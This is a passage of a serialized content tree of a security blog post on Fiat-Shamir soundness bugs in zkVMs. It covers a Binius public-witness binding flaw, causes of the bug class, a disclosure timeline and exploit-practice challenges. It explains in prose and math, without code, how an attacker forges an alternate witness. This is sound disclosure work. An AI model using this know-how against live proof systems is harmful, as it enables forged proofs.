constraint_system",{"type":21,"tag":85,"props":122460,"children":122461},{"style":169},[122462],{"type":26,"value":172},{"type":21,"tag":85,"props":122464,"children":122465},{"style":169},[122466],{"type":26,"value":1487},{"type":21,"tag":85,"props":122468,"children":122469},{"style":108},[122470],{"type":26,"value":122471},"ConstraintSystem",{"type":21,"tag":85,"props":122473,"children":122474},{"style":114},[122475],{"type":26,"value":182},{"type":21,"tag":85,"props":122477,"children":122478},{"class":87,"line":151},[122479,122483,122487,122491,122495,122500,122505],{"type":21,"tag":85,"props":122480,"children":122481},{"style":120},[122482],{"type":26,"value":1868},{"type":21,"tag":85,"props":122484,"children":122485},{"style":169},[122486],{"type":26,"value":172},{"type":21,"tag":85,"props":122488,"children":122489},{"style":169},[122490],{"type":26,"value":1487},{"type":21,"tag":85,"props":122492,"children":122493},{"style":114},[122494],{"type":26,"value":3016},{"type":21,"tag":85,"props":122496,"children":122497},{"style":108},[122498],{"type":26,"value":122499},"Word",{"type":21,"tag":85,"props":122501,"children":122502},{"style":114},[122503],{"type":26,"value":122504},"],    ",{"type":21,"tag":85,"props":122506,"children":122507},{"style":92},[122508],{"type":26,"value":122509},"// \u003C- NEVER ABSORBED\n",{"type":21,"tag":85,"props":122511,"children":122512},{"class":87,"line":160},[122513],{"type":21,"tag":85,"props":122514,"children":122515},{"style":92},[122516],{"type":26,"value":122517},"    // ...\n",{"type":21,"tag":85,"props":122519,"children":122520},{"class":87,"line":185},[122521,122525,122529,122533,122537,122542,122546,122550,122554,122558],{"type":21,"tag":85,"props":122522,"children":122523},{"style":114},[122524],{"type":26,"value":736},{"type":21,"tag":85,"props":122526,"children":122527},{"style":169},[122528],{"type":26,"value":14175},{"type":21,"tag":85,"props":122530,"children":122531},{"style":108},[122532],{"type":26,"value":14180},{"type":21,"tag":85,"props":122534,"children":122535},{"style":114},[122536],{"type":26,"value":117},{"type":21,"tag":85,"props":122538,"children":122539},{"style":108},[122540],{"type":26,"value":122541},"VerifyOutput",{"type":21,"tag":85,"props":122543,"children":122544},{"style":114},[122545],{"type":26,"value":117},{"type":21,"tag":85,"props":122547,"children":122548},{"style":108},[122549],{"type":26,"value":122287},{"type":21,"tag":85,"props":122551,"children":122552},{"style":114},[122553],{"type":26,"value":966},{"type":21,"tag":85,"props":122555,"children":122556},{"style":108},[122557],{"type":26,"value":37846},{"type":21,"tag":85,"props":122559,"children":122560},{"style":114},[122561],{"type":26,"value":313},{"type":21,"tag":22,"props":122563,"children":122564},{},[122565,122567,122573,122574,122580,122582,122586],{"type":26,"value":122566},"In the shift protocol, challenges ",{"type":21,"tag":66,"props":122568,"children":122570},{"className":122569},[],[122571],{"type":26,"value":122572},"r_j",{"type":26,"value":11408},{"type":21,"tag":66,"props":122575,"children":122577},{"className":122576},[],[122578],{"type":26,"value":122579},"inout_eval_point",{"type":26,"value":122581}," are sampled ",{"type":21,"tag":873,"props":122583,"children":122584},{},[122585],{"type":26,"value":105053},{"type":26,"value":122587}," the public witness is bound.",{"type":21,"tag":22,"props":122589,"children":122590},{},[122591],{"type":21,"tag":873,"props":122592,"children":122593},{},[122594],{"type":26,"value":115941},{"type":21,"tag":22,"props":122596,"children":122597},{},[122598],{"type":21,"tag":4681,"props":122599,"children":122602},{"alt":122600,"src":122601},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":21,"tag":22,"props":122604,"children":122605},{},[122606],{"type":26,"value":122607},"During verification",{"type":21,"tag":841,"props":122609,"children":122610},{},[122611,122631,122643,122662],{"type":21,"tag":845,"props":122612,"children":122613},{},[122614,122616,122621,122623,122629],{"type":26,"value":122615},"Sumcheck produces challenge points ",{"type":21,"tag":66,"props":122617,"children":122619},{"className":122618},[],[122620],{"type":26,"value":122572},{"type":26,"value":122622}," (bit indices) and ",{"type":21,"tag":66,"props":122624,"children":122626},{"className":122625},[],[122627],{"type":26,"value":122628},"r_s",{"type":26,"value":122630}," (shift indices)",{"type":21,"tag":845,"props":122632,"children":122633},{},[122634,122636,122641],{"type":26,"value":122635},"Verifier samples ",{"type":21,"tag":66,"props":122637,"children":122639},{"className":122638},[],[122640],{"type":26,"value":122579},{"type":26,"value":122642}," from transcript",{"type":21,"tag":845,"props":122644,"children":122645},{},[122646,122648,122654,122656,122661],{"type":26,"value":122647},"Verifier computes ",{"type":21,"tag":66,"props":122649,"children":122651},{"className":122650},[],[122652],{"type":26,"value":122653},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":26,"value":122655}," using the unbound ",{"type":21,"tag":66,"props":122657,"children":122659},{"className":122658},[],[122660],{"type":26,"value":62133},{"type":26,"value":18557},{"type":21,"tag":845,"props":122663,"children":122664},{},[122665,122666,122672],{"type":26,"value":17034},{"type":21,"tag":66,"props":122667,"children":122669},{"className":122668},[],[122670],{"type":26,"value":122671},"public_eval",{"type":26,"value":122673}," feeds into subsequent verification equations",{"type":21,"tag":22,"props":122675,"children":122676},{},[122677],{"type":26,"value":122678},"The MLE evaluation is linear in the public witness bits:",{"type":21,"tag":22,"props":122680,"children":122681},{},[122682],{"type":21,"tag":66,"props":122683,"children":122685},{"className":122684},[4748,4749],[122686],{"type":21,"tag":85,"props":122687,"children":122689},{"className":122688},[4754],[122690],{"type":21,"tag":85,"props":122691,"children":122693},{"className":122692,"ariaHidden":4760},[4759],[122694,122738,122878,122990],{"type":21,"tag":85,"props":122695,"children":122697},{"className":122696},[4765],[122698,122702,122711,122716,122725,122729,122734],{"type":21,"tag":85,"props":122699,"children":122701},{"className":122700,"style":94922},[4770],[],{"type":21,"tag":85,"props":122703,"children":122705},{"className":122704},[4776,26],[122706],{"type":21,"tag":85,"props":122707,"children":122709},{"className":122708},[4776],[122710],{"type":26,"value":62133},{"type":21,"tag":85,"props":122712,"children":122714},{"className":122713,"style":93509},[4776],[122715],{"type":26,"value":3856},{"type":21,"tag":85,"props":122717,"children":122719},{"className":122718},[4776,26],[122720],{"type":21,"tag":85,"props":122721,"children":122723},{"className":122722},[4776],[122724],{"type":26,"value":37996},{"type":21,"tag":85,"props":122726,"children":122728},{"className":122727,"style":4955},[4857],[],{"type":21,"tag":85,"props":122730,"children":122732},{"className":122731},[4960],[122733],{"type":26,"value":741},{"type":21,"tag":85,"props":122735,"children":122737},{"className":122736,"style":4955},[4857],[],{"type":21,"tag":85,"props":122739,"children":122741},{"className":122740},[4765],[122742,122746,122818,122822,122835,122840,122845,122850,122855,122860,122865,122869,122874],{"type":21,"tag":85,"props":122743,"children":122745},{"className":122744,"style":119271},[4770],[],{"type":21,"tag":85,"props":122747,"children":122749},{"className":122748},[22052],[122750,122755],{"type":21,"tag":85,"props":122751,"children":122753},{"className":122752,"style":22059},[22052,22057,22058],[122754],{"type":26,"value":109304},{"type":21,"tag":85,"props":122756,"children":122758},{"className":122757},[4793],[122759],{"type":21,"tag":85,"props":122760,"children":122762},{"className":122761},[4798,22070],[122763,122807],{"type":21,"tag":85,"props":122764,"children":122766},{"className":122765},[4803],[122767,122802],{"type":21,"tag":85,"props":122768,"children":122770},{"className":122769,"style":114181},[4808],[122771],{"type":21,"tag":85,"props":122772,"children":122773},{"style":22083},[122774,122778],{"type":21,"tag":85,"props":122775,"children":122777},{"className":122776,"style":4818},[4817],[],{"type":21,"tag":85,"props":122779,"children":122781},{"className":122780},[4823,4824,4825,4826],[122782],{"type":21,"tag":85,"props":122783,"children":122785},{"className":122784},[4776,4826],[122786,122792,122797],{"type":21,"tag":85,"props":122787,"children":122790},{"className":122788,"style":122789},[4776,22016,4826],"margin-right:0.02691em;",[122791],{"type":26,"value":50027},{"type":21,"tag":85,"props":122793,"children":122795},{"className":122794},[4889,4826],[122796],{"type":26,"value":4892},{"type":21,"tag":85,"props":122798,"children":122800},{"className":122799},[4776,22016,4826],[122801],{"type":26,"value":3994},{"type":21,"tag":85,"props":122803,"children":122805},{"className":122804},[22173],[122806],{"type":26,"value":22176},{"type":21,"tag":85,"props":122808,"children":122810},{"className":122809},[4803],[122811],{"type":21,"tag":85,"props":122812,"children":122814},{"className":122813,"style":114747},[4808],[122815],{"type":21,"tag":85,"props":122816,"children":122817},{},[],{"type":21,"tag":85,"props":122819,"children":122821},{"className":122820,"style":4896},[4857],[],{"type":21,"tag":85,"props":122823,"children":122825},{"className":122824},[4776],[122826],{"type":21,"tag":85,"props":122827,"children":122829},{"className":122828},[4776,26],[122830],{"type":21,"tag":85,"props":122831,"children":122833},{"className":122832},[4776],[122834],{"type":26,"value":62133},{"type":21,"tag":85,"props":122836,"children":122838},{"className":122837},[22145],[122839],{"type":26,"value":3016},{"type":21,"tag":85,"props":122841,"children":122843},{"className":122842,"style":122789},[4776,22016],[122844],{"type":26,"value":50027},{"type":21,"tag":85,"props":122846,"children":122848},{"className":122847},[22167],[122849],{"type":26,"value":15830},{"type":21,"tag":85,"props":122851,"children":122853},{"className":122852},[22145],[122854],{"type":26,"value":3016},{"type":21,"tag":85,"props":122856,"children":122858},{"className":122857},[4776,22016],[122859],{"type":26,"value":3994},{"type":21,"tag":85,"props":122861,"children":122863},{"className":122862},[22167],[122864],{"type":26,"value":15830},{"type":21,"tag":85,"props":122866,"children":122868},{"className":122867,"style":4858},[4857],[],{"type":21,"tag":85,"props":122870,"children":122872},{"className":122871},[4863],[122873],{"type":26,"value":111771},{"type":21,"tag":85,"props":122875,"children":122877},{"className":122876,"style":4858},[4857],[],{"type":21,"tag":85,"props":122879,"children":122881},{"className":122880},[4765],[122882,122887,122896,122901,122906,122911,122915,122972,122977,122981,122986],{"type":21,"tag":85,"props":122883,"children":122886},{"className":122884,"style":122885},[4770],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":21,"tag":85,"props":122888,"children":122890},{"className":122889},[4776,26],[122891],{"type":21,"tag":85,"props":122892,"children":122894},{"className":122893},[4776],[122895],{"type":26,"value":113098},{"type":21,"tag":85,"props":122897,"children":122899},{"className":122898},[22145],[122900],{"type":26,"value":1439},{"type":21,"tag":85,"props":122902,"children":122904},{"className":122903},[4776,22016],[122905],{"type":26,"value":3994},{"type":21,"tag":85,"props":122907,"children":122909},{"className":122908},[4889],[122910],{"type":26,"value":4892},{"type":21,"tag":85,"props":122912,"children":122914},{"className":122913,"style":4896},[4857],[],{"type":21,"tag":85,"props":122916,"children":122918},{"className":122917},[4776],[122919,122924],{"type":21,"tag":85,"props":122920,"children":122922},{"className":122921,"style":93509},[4776,22016],[122923],{"type":26,"value":94328},{"type":21,"tag":85,"props":122925,"children":122927},{"className":122926},[4793],[122928],{"type":21,"tag":85,"props":122929,"children":122931},{"className":122930},[4798,22070],[122932,122961],{"type":21,"tag":85,"props":122933,"children":122935},{"className":122934},[4803],[122936,122956],{"type":21,"tag":85,"props":122937,"children":122939},{"className":122938,"style":94038},[4808],[122940],{"type":21,"tag":85,"props":122941,"children":122942},{"style":110508},[122943,122947],{"type":21,"tag":85,"props":122944,"children":122946},{"className":122945,"style":4818},[4817],[],{"type":21,"tag":85,"props":122948,"children":122950},{"className":122949},[4823,4824,4825,4826],[122951],{"type":21,"tag":85,"props":122952,"children":122954},{"className":122953,"style":114732},[4776,22016,4826],[122955],{"type":26,"value":3021},{"type":21,"tag":85,"props":122957,"children":122959},{"className":122958},[22173],[122960],{"type":26,"value":22176},{"type":21,"tag":85,"props":122962,"children":122964},{"className":122963},[4803],[122965],{"type":21,"tag":85,"props":122966,"children":122968},{"className":122967,"style":119419},[4808],[122969],{"type":21,"tag":85,"props":122970,"children":122971},{},[],{"type":21,"tag":85,"props":122973,"children":122975},{"className":122974},[22167],[122976],{"type":26,"value":1900},{"type":21,"tag":85,"props":122978,"children":122980},{"className":122979,"style":4858},[4857],[],{"type":21,"tag":85,"props":122982,"children":122984},{"className":122983},[4863],[122985],{"type":26,"value":111771},{"type":21,"tag":85,"props":122987,"children":122989},{"className":122988,"style":4858},[4857],[],{"type":21,"tag":85,"props":122991,"children":122993},{"className":122992},[4765],[122994,122998,123007,123012,123017,123022,123026,123036,123041,123050,123055,123064],{"type":21,"tag":85,"props":122995,"children":122997},{"className":122996,"style":93451},[4770],[],{"type":21,"tag":85,"props":122999,"children":123001},{"className":123000},[4776,26],[123002],{"type":21,"tag":85,"props":123003,"children":123005},{"className":123004},[4776],[123006],{"type":26,"value":113098},{"type":21,"tag":85,"props":123008,"children":123010},{"className":123009},[22145],[123011],{"type":26,"value":1439},{"type":21,"tag":85,"props":123013,"children":123015},{"className":123014,"style":122789},[4776,22016],[123016],{"type":26,"value":50027},{"type":21,"tag":85,"props":123018,"children":123020},{"className":123019},[4889],[123021],{"type":26,"value":4892},{"type":21,"tag":85,"props":123023,"children":123025},{"className":123024,"style":4896},[4857],[],{"type":21,"tag":85,"props":123027,"children":123029},{"className":123028},[4776,26],[123030],{"type":21,"tag":85,"props":123031,"children":123033},{"className":123032},[4776],[123034],{"type":26,"value":123035},"inout",{"type":21,"tag":85,"props":123037,"children":123039},{"className":123038,"style":93509},[4776],[123040],{"type":26,"value":3856},{"type":21,"tag":85,"props":123042,"children":123044},{"className":123043},[4776,26],[123045],{"type":21,"tag":85,"props":123046,"children":123048},{"className":123047},[4776],[123049],{"type":26,"value":37996},{"type":21,"tag":85,"props":123051,"children":123053},{"className":123052,"style":93509},[4776],[123054],{"type":26,"value":3856},{"type":21,"tag":85,"props":123056,"children":123058},{"className":123057},[4776,26],[123059],{"type":21,"tag":85,"props":123060,"children":123062},{"className":123061},[4776],[123063],{"type":26,"value":118294},{"type":21,"tag":85,"props":123065,"children":123067},{"className":123066},[22167],[123068],{"type":26,"value":1900},{"type":21,"tag":22,"props":123070,"children":123071},{},[123072,123074,123079,123081,123154],{"type":26,"value":123073},"With challenges fixed (independent of ",{"type":21,"tag":66,"props":123075,"children":123077},{"className":123076},[],[123078],{"type":26,"value":62133},{"type":26,"value":123080},"), an attacker can find an alternate witness ",{"type":21,"tag":66,"props":123082,"children":123084},{"className":123083},[4748,4749],[123085],{"type":21,"tag":85,"props":123086,"children":123088},{"className":123087},[4754],[123089],{"type":21,"tag":85,"props":123090,"children":123092},{"className":123091,"ariaHidden":4760},[4759],[123093],{"type":21,"tag":85,"props":123094,"children":123096},{"className":123095},[4765],[123097,123102],{"type":21,"tag":85,"props":123098,"children":123101},{"className":123099,"style":123100},[4770],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":21,"tag":85,"props":123103,"children":123105},{"className":123104},[4776],[123106,123115],{"type":21,"tag":85,"props":123107,"children":123109},{"className":123108},[4776,26],[123110],{"type":21,"tag":85,"props":123111,"children":123113},{"className":123112},[4776],[123114],{"type":26,"value":62133},{"type":21,"tag":85,"props":123116,"children":123118},{"className":123117},[4793],[123119],{"type":21,"tag":85,"props":123120,"children":123122},{"className":123121},[4798],[123123],{"type":21,"tag":85,"props":123124,"children":123126},{"className":123125},[4803],[123127],{"type":21,"tag":85,"props":123128,"children":123131},{"className":123129,"style":123130},[4808],"height:0.8362em;",[123132],{"type":21,"tag":85,"props":123133,"children":123135},{"style":123134},"top:-3.1473em;margin-right:0.05em;",[123136,123140],{"type":21,"tag":85,"props":123137,"children":123139},{"className":123138,"style":4818},[4817],[],{"type":21,"tag":85,"props":123141,"children":123143},{"className":123142},[4823,4824,4825,4826],[123144],{"type":21,"tag":85,"props":123145,"children":123147},{"className":123146},[4776,4826],[123148],{"type":21,"tag":85,"props":123149,"children":123151},{"className":123150},[4776,4826],[123152],{"type":26,"value":123153},"′",{"type":26,"value":123155}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":21,"tag":22,"props":123157,"children":123158},{},[123159,123163,123165],{"type":21,"tag":873,"props":123160,"children":123161},{},[123162],{"type":26,"value":117219},{"type":26,"value":123164}," Fixed on December 29, 2025 via ",{"type":21,"tag":335,"props":123166,"children":123169},{"href":123167,"rel":123168},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[339],[123170],{"type":26,"value":123171},"commit 86a515f",{"type":21,"tag":19218,"props":123173,"children":123174},{},[],{"type":21,"tag":54,"props":123176,"children":123178},{"id":123177},"why-does-this-keep-happening",[123179],{"type":26,"value":123180},"Why Does This Keep Happening?",{"type":21,"tag":22,"props":123182,"children":123183},{},[123184],{"type":26,"value":123185},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":21,"tag":10022,"props":123187,"children":123189},{"id":123188},"academic-papers-dont-specify-fiat-shamir",[123190],{"type":26,"value":123191},"Academic Papers Don't Specify Fiat-Shamir",{"type":21,"tag":22,"props":123193,"children":123194},{},[123195,123197,123202,123204,123229,123231,123234,123236,123261,123263,123290],{"type":26,"value":123196},"Academic papers usually describe ",{"type":21,"tag":39,"props":123198,"children":123199},{},[123200],{"type":26,"value":123201},"interactive",{"type":26,"value":123203}," protocols: \"Prover sends ",{"type":21,"tag":66,"props":123205,"children":123207},{"className":123206},[4748,4749],[123208],{"type":21,"tag":85,"props":123209,"children":123211},{"className":123210},[4754],[123212],{"type":21,"tag":85,"props":123213,"children":123215},{"className":123214,"ariaHidden":4760},[4759],[123216],{"type":21,"tag":85,"props":123217,"children":123219},{"className":123218},[4765],[123220,123224],{"type":21,"tag":85,"props":123221,"children":123223},{"className":123222,"style":22011},[4770],[],{"type":21,"tag":85,"props":123225,"children":123227},{"className":123226,"style":22548},[4776,22016],[123228],{"type":26,"value":116738},{"type":26,"value":123230},". Verifier sends",{"type":21,"tag":31413,"props":123232,"children":123233},{},[],{"type":26,"value":123235},"random ",{"type":21,"tag":66,"props":123237,"children":123239},{"className":123238},[4748,4749],[123240],{"type":21,"tag":85,"props":123241,"children":123243},{"className":123242},[4754],[123244],{"type":21,"tag":85,"props":123245,"children":123247},{"className":123246,"ariaHidden":4760},[4759],[123248],{"type":21,"tag":85,"props":123249,"children":123251},{"className":123250},[4765],[123252,123256],{"type":21,"tag":85,"props":123253,"children":123255},{"className":123254,"style":111350},[4770],[],{"type":21,"tag":85,"props":123257,"children":123259},{"className":123258,"style":93509},[4776,22016],[123260],{"type":26,"value":94328},{"type":26,"value":123262},". Prover sends ",{"type":21,"tag":66,"props":123264,"children":123266},{"className":123265},[4748,4749],[123267],{"type":21,"tag":85,"props":123268,"children":123270},{"className":123269},[4754],[123271],{"type":21,"tag":85,"props":123272,"children":123274},{"className":123273,"ariaHidden":4760},[4759],[123275],{"type":21,"tag":85,"props":123276,"children":123278},{"className":123277},[4765],[123279,123283],{"type":21,"tag":85,"props":123280,"children":123282},{"className":123281,"style":22011},[4770],[],{"type":21,"tag":85,"props":123284,"children":123287},{"className":123285,"style":123286},[4776,22016],"margin-right:0.00773em;",[123288],{"type":26,"value":123289},"R",{"type":26,"value":123291},".\"",{"type":21,"tag":22,"props":123293,"children":123294},{},[123295,123297,123322,123324,123349],{"type":26,"value":123296},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":21,"tag":66,"props":123298,"children":123300},{"className":123299},[4748,4749],[123301],{"type":21,"tag":85,"props":123302,"children":123304},{"className":123303},[4754],[123305],{"type":21,"tag":85,"props":123306,"children":123308},{"className":123307,"ariaHidden":4760},[4759],[123309],{"type":21,"tag":85,"props":123310,"children":123312},{"className":123311},[4765],[123313,123317],{"type":21,"tag":85,"props":123314,"children":123316},{"className":123315,"style":22011},[4770],[],{"type":21,"tag":85,"props":123318,"children":123320},{"className":123319,"style":22548},[4776,22016],[123321],{"type":26,"value":116738},{"type":26,"value":123323}," before sampling ",{"type":21,"tag":66,"props":123325,"children":123327},{"className":123326},[4748,4749],[123328],{"type":21,"tag":85,"props":123329,"children":123331},{"className":123330},[4754],[123332],{"type":21,"tag":85,"props":123333,"children":123335},{"className":123334,"ariaHidden":4760},[4759],[123336],{"type":21,"tag":85,"props":123337,"children":123339},{"className":123338},[4765],[123340,123344],{"type":21,"tag":85,"props":123341,"children":123343},{"className":123342,"style":111350},[4770],[],{"type":21,"tag":85,"props":123345,"children":123347},{"className":123346,"style":93509},[4776,22016],[123348],{"type":26,"value":94328},{"type":26,"value":123350},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":21,"tag":22,"props":123352,"children":123353},{},[123354],{"type":26,"value":123355},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":21,"tag":10022,"props":123357,"children":123359},{"id":123358},"the-hot-potato-problem",[123360],{"type":26,"value":123361},"The Hot Potato Problem",{"type":21,"tag":22,"props":123363,"children":123364},{},[123365],{"type":26,"value":123366},"Modern zkVMs are modular:",{"type":21,"tag":22,"props":123368,"children":123369},{},[123370],{"type":21,"tag":4681,"props":123371,"children":123374},{"alt":123372,"src":123373},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":21,"tag":22,"props":123376,"children":123377},{},[123378],{"type":26,"value":123379},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":21,"tag":10022,"props":123381,"children":123383},{"id":123382},"optimization-pressure",[123384],{"type":26,"value":123385},"Optimization Pressure",{"type":21,"tag":22,"props":123387,"children":123388},{},[123389],{"type":26,"value":123390},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":21,"tag":22,"props":123392,"children":123393},{},[123394],{"type":26,"value":123395},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":21,"tag":10022,"props":123397,"children":123399},{"id":123398},"testing-doesnt-catch-adversarial-inputs",[123400],{"type":26,"value":123401},"Testing Doesn't Catch Adversarial Inputs",{"type":21,"tag":22,"props":123403,"children":123404},{},[123405],{"type":26,"value":123406},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":21,"tag":19218,"props":123408,"children":123409},{},[],{"type":21,"tag":54,"props":123411,"children":123413},{"id":123412},"how-to-find-and-fix-these-bugs",[123414],{"type":26,"value":123415},"How to Find and Fix These Bugs",{"type":21,"tag":10022,"props":123417,"children":123419},{"id":123418},"prevention",[123420],{"type":26,"value":123421},"Prevention",{"type":21,"tag":22,"props":123423,"children":123424},{},[123425],{"type":26,"value":123426},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":21,"tag":22,"props":123428,"children":123429},{},[123430],{"type":26,"value":123431},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":21,"tag":22,"props":123433,"children":123434},{},[123435],{"type":26,"value":123436},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":21,"tag":22,"props":123438,"children":123439},{},[123440],{"type":26,"value":123441},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":21,"tag":22,"props":123443,"children":123444},{},[123445],{"type":26,"value":123446},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":21,"tag":19218,"props":123448,"children":123449},{},[],{"type":21,"tag":54,"props":123451,"children":123453},{"id":123452},"responsible-disclosure-timeline",[123454],{"type":26,"value":123455},"Responsible Disclosure Timeline",{"type":21,"tag":56201,"props":123457,"children":123458},{},[123459,123487],{"type":21,"tag":123460,"props":123461,"children":123462},"thead",{},[123463],{"type":21,"tag":123464,"props":123465,"children":123466},"tr",{},[123467,123472,123477,123482],{"type":21,"tag":123468,"props":123469,"children":123470},"th",{},[123471],{"type":26,"value":23637},{"type":21,"tag":123468,"props":123473,"children":123474},{},[123475],{"type":26,"value":123476},"Reported",{"type":21,"tag":123468,"props":123478,"children":123479},{},[123480],{"type":26,"value":123481},"Fixed",{"type":21,"tag":123468,"props":123483,"children":123484},{},[123485],{"type":26,"value":123486},"Response Time",{"type":21,"tag":123488,"props":123489,"children":123490},"tbody",{},[123491,123514,123535,123555,123577,123598],{"type":21,"tag":123464,"props":123492,"children":123493},{},[123494,123499,123504,123509],{"type":21,"tag":123495,"props":123496,"children":123497},"td",{},[123498],{"type":26,"value":108322},{"type":21,"tag":123495,"props":123500,"children":123501},{},[123502],{"type":26,"value":123503},"Sep 2025",{"type":21,"tag":123495,"props":123505,"children":123506},{},[123507],{"type":26,"value":123508},"Oct 3, 2025",{"type":21,"tag":123495,"props":123510,"children":123511},{},[123512],{"type":26,"value":123513},"\u003C1 week",{"type":21,"tag":123464,"props":123515,"children":123516},{},[123517,123521,123526,123531],{"type":21,"tag":123495,"props":123518,"children":123519},{},[123520],{"type":26,"value":108328},{"type":21,"tag":123495,"props":123522,"children":123523},{},[123524],{"type":26,"value":123525},"Oct 2025",{"type":21,"tag":123495,"props":123527,"children":123528},{},[123529],{"type":26,"value":123530},"Oct 24, 2025",{"type":21,"tag":123495,"props":123532,"children":123533},{},[123534],{"type":26,"value":123513},{"type":21,"tag":123464,"props":123536,"children":123537},{},[123538,123542,123546,123551],{"type":21,"tag":123495,"props":123539,"children":123540},{},[123541],{"type":26,"value":108334},{"type":21,"tag":123495,"props":123543,"children":123544},{},[123545],{"type":26,"value":123525},{"type":21,"tag":123495,"props":123547,"children":123548},{},[123549],{"type":26,"value":123550},"Oct 31, 2025",{"type":21,"tag":123495,"props":123552,"children":123553},{},[123554],{"type":26,"value":123513},{"type":21,"tag":123464,"props":123556,"children":123557},{},[123558,123562,123567,123572],{"type":21,"tag":123495,"props":123559,"children":123560},{},[123561],{"type":26,"value":108340},{"type":21,"tag":123495,"props":123563,"children":123564},{},[123565],{"type":26,"value":123566},"Nov 2025",{"type":21,"tag":123495,"props":123568,"children":123569},{},[123570],{"type":26,"value":123571},"Mar 5, 2026",{"type":21,"tag":123495,"props":123573,"children":123574},{},[123575],{"type":26,"value":123576},"~4 months",{"type":21,"tag":123464,"props":123578,"children":123579},{},[123580,123584,123589,123594],{"type":21,"tag":123495,"props":123581,"children":123582},{},[123583],{"type":26,"value":108352},{"type":21,"tag":123495,"props":123585,"children":123586},{},[123587],{"type":26,"value":123588},"Dec 2025",{"type":21,"tag":123495,"props":123590,"children":123591},{},[123592],{"type":26,"value":123593},"Dec 29, 2025",{"type":21,"tag":123495,"props":123595,"children":123596},{},[123597],{"type":26,"value":123513},{"type":21,"tag":123464,"props":123599,"children":123600},{},[123601,123605,123609,123614],{"type":21,"tag":123495,"props":123602,"children":123603},{},[123604],{"type":26,"value":108346},{"type":21,"tag":123495,"props":123606,"children":123607},{},[123608],{"type":26,"value":123566},{"type":21,"tag":123495,"props":123610,"children":123611},{},[123612],{"type":26,"value":123613},"Jan 21, 2026?",{"type":21,"tag":123495,"props":123615,"children":123616},{},[123617],{"type":26,"value":123618},"3 months",{"type":21,"tag":22,"props":123620,"children":123621},{},[123622],{"type":26,"value":123623},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":21,"tag":19218,"props":123625,"children":123626},{},[],{"type":21,"tag":54,"props":123628,"children":123630},{"id":123629},"challenges",[123631],{"type":26,"value":108365},{"type":21,"tag":22,"props":123633,"children":123634},{},[123635,123637],{"type":26,"value":123636},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":21,"tag":123638,"props":123639,"children":123640},"del",{},[123641],{"type":26,"value":123642},"the first 10 solvers will get a T-shirt.",{"type":21,"tag":22,"props":123644,"children":123645},{},[123646,123648,123701,123702,123958],{"type":26,"value":123647},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":21,"tag":66,"props":123649,"children":123651},{"className":123650},[4748,4749],[123652],{"type":21,"tag":85,"props":123653,"children":123655},{"className":123654},[4754],[123656],{"type":21,"tag":85,"props":123657,"children":123659},{"className":123658,"ariaHidden":4760},[4759],[123660],{"type":21,"tag":85,"props":123661,"children":123663},{"className":123662},[4765],[123664,123668,123673,123678,123682,123687,123692,123696],{"type":21,"tag":85,"props":123665,"children":123667},{"className":123666,"style":115564},[4770],[],{"type":21,"tag":85,"props":123669,"children":123671},{"className":123670},[4776,22016],[123672],{"type":26,"value":335},{"type":21,"tag":85,"props":123674,"children":123676},{"className":123675},[4889],[123677],{"type":26,"value":4892},{"type":21,"tag":85,"props":123679,"children":123681},{"className":123680,"style":4896},[4857],[],{"type":21,"tag":85,"props":123683,"children":123685},{"className":123684},[4776,22016],[123686],{"type":26,"value":3994},{"type":21,"tag":85,"props":123688,"children":123690},{"className":123689},[4889],[123691],{"type":26,"value":4892},{"type":21,"tag":85,"props":123693,"children":123695},{"className":123694,"style":4896},[4857],[],{"type":21,"tag":85,"props":123697,"children":123699},{"className":123698},[4776,22016],[123700],{"type":26,"value":3918},{"type":26,"value":110165},{"type":21,"tag":66,"props":123703,"children":123705},{"className":123704},[4748,4749],[123706],{"type":21,"tag":85,"props":123707,"children":123709},{"className":123708},[4754],[123710],{"type":21,"tag":85,"props":123711,"children":123713},{"className":123712,"ariaHidden":4760},[4759],[123714,123777,123839,123945],{"type":21,"tag":85,"props":123715,"children":123717},{"className":123716},[4765],[123718,123723,123764,123768,123773],{"type":21,"tag":85,"props":123719,"children":123722},{"className":123720,"style":123721},[4770],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":21,"tag":85,"props":123724,"children":123726},{"className":123725},[4776],[123727,123732],{"type":21,"tag":85,"props":12